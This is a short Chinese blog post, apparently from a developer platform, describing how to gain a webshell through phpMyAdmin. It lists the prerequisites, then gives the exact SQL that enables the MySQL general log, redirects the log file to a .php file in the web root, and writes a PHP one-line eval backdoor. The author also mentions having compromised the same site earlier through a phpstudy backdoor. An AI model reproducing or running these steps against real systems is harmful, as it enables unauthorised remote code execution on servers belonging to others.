phpmyadmin getshell

本来搞了一个站,想记录一下,结果手抖刷新了一下写文章的界面,写了一大半的文章就没了…

简单说一下,

进入 phpmyadmin 后,getshell 有两种办法。一是执行sql语句导出shell到web目录下;二是开启日志功能,改变日志文件到web目录下,然后执行sql语句,在sql语句中写php代码。

其中,方法一需要满足三个条件:①数据库root权限;②知道web目录的绝对路径;③mysql有写文件权限。

方法二满足条件①②即可,但需要mysql版本在5.0+,因为在MySQL 5.0+的版本会自动创建日志文件,那么在服务运行的情况下修改全局变量也是可以变动文件位置的。

方法二(Linux环境下可能会比较苛刻,因为站点目录是一个用户,MySQL是另外一个用户,权限管控较为严格,主要取决于权限配置是否得当)

介绍两个全局变量,如下,

general_log 指日志保存状态。ON表示开启,OFF表示关闭功能。

general_log_file 指日志文件的保存路径。

具体的操作就是,

【1】日志功能默认关闭,需要执行sql语句开启日志功能。

set global general_log = "ON";

【2】将日志文件的保存路径修改为web目录的绝对路径+文件名.php。

SET global general_log_file='web目录的绝对路径/shell.php';

【3】执行一个带有一句话木马的sql语句,让shell.php日志文件将一句话木马记录下来。

select  '<?php eval($_POST["a"]);?>';

然后访问shell.php,其中的php代码就会被执行。

顺便说一句,这个站还是之前用phpstudy后门搞下来的那个老哥。。本来那个服务器已经关闭了。结果今天他又扫我了…没事老扫我80端口干嘛,

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值